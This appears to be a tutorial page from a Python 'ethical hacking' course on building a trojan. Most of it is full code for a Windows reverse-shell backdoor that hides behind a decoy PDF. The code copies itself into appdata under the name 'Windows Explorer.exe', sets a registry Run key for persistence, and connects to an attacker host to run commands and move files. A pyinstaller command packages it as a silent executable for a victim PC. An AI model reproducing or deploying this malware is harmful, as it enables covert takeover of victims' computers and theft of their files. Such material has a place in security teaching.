Python Ethical Hacking

DOWNLOAD & EXECUTE PAYLOAD

• A generic executable that downloads & executes files.
• Disadvantages:
  • User needs internet connection.
  • Files have to be uploaded and accessible via a direct URL.

PACKAGING - CREATING TROJANS

• Package front file with evil file.
• Extract front file at run time.
• Run front file from evil code.

Prepare a PDF file - sample.pdf on the Download folder.

Polish the Python Code:

#!/usr/bin/env python
import json
import socket
import subprocess
import os
import base64
import sys
import shutil


class Backdoor:
    def __init__(self, ip, port):
        self.become_persistent()
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip, port))

    def become_persistent(self):
        evil_file_location = os.environ["appdata"] + "\Windows Explorer.exe"
        if not os.path.exists(evil_file_location):
            shutil.copyfile(sys.executable, evil_file_location)
            subprocess.call('reg add HKCUSoftwareMicrosoftWindowsCurrentVersionRun /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)

    def reliable_send(self, data):
        json_data = json.dumps(data).encode()
        self.connection.send(json_data)

    def reliable_receive(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + self.connection.recv(1024).decode()
                return json.loads(json_data)
            except ValueError:
                continue

    def change_working_directory_to(self, path):
        os.chdir(path)
        return "[+] Changing working directory to " + path

    def execute_system_command(self, command):
        DEVNULL = open(os.devnull, "wb")
        return subprocess.check_output(command, shell=True, stderr=DEVNULL, stdin=DEVNULL)

    def read_file(self, path):
        with open(path, "rb") as file:
            return base64.b64encode(file.read())

    def write_file(self, path, content):
        with open(path, "wb") as file:
            file.write(base64.b64decode(content))
            return "[+] Upload successful."

    def run(self):
        while True:
            command = self.reliable_receive()

            try:
                if command[0] == "exit":
                    self.connection.close()
                    sys.exit()
                elif command[0] == "cd" and len(command) > 1:
                    command_result = self.change_working_directory_to(command[1])
                elif command[0] == "upload":
                    command_result = self.write_file(command[1], command[2])
                elif command[0] == "download":
                    command_result = self.read_file(command[1]).decode()
                else:
                    command_result = self.execute_system_command(command).decode()
            except Exception:
                command_result = "[-] Error during command execution."

            self.reliable_send(command_result)

file_name = sys._MEIPASS + "sample.pdf"
subprocess.Popen(file_name, shell=True)

try:
    my_backdoor = Backdoor("10.0.0.43", 4444)
    my_backdoor.run()
except Exception:
    sys.exit()

Convert the Python Program to Windows executable. - Add the "--add-data" argument this time.

wine /root/.wine/drive_c/Program Files (x86)/Python37-32/Scripts/pyinstaller.exe --add-data "/root/Downloads/sample.pdf;." --onefile --noconsole reverse_backdoor.py

 Run the lister on Kali Linux, and run the reverse_backdoor.exe file on the victim PC. The user can only see a normal pdf file, but the communication has been established background.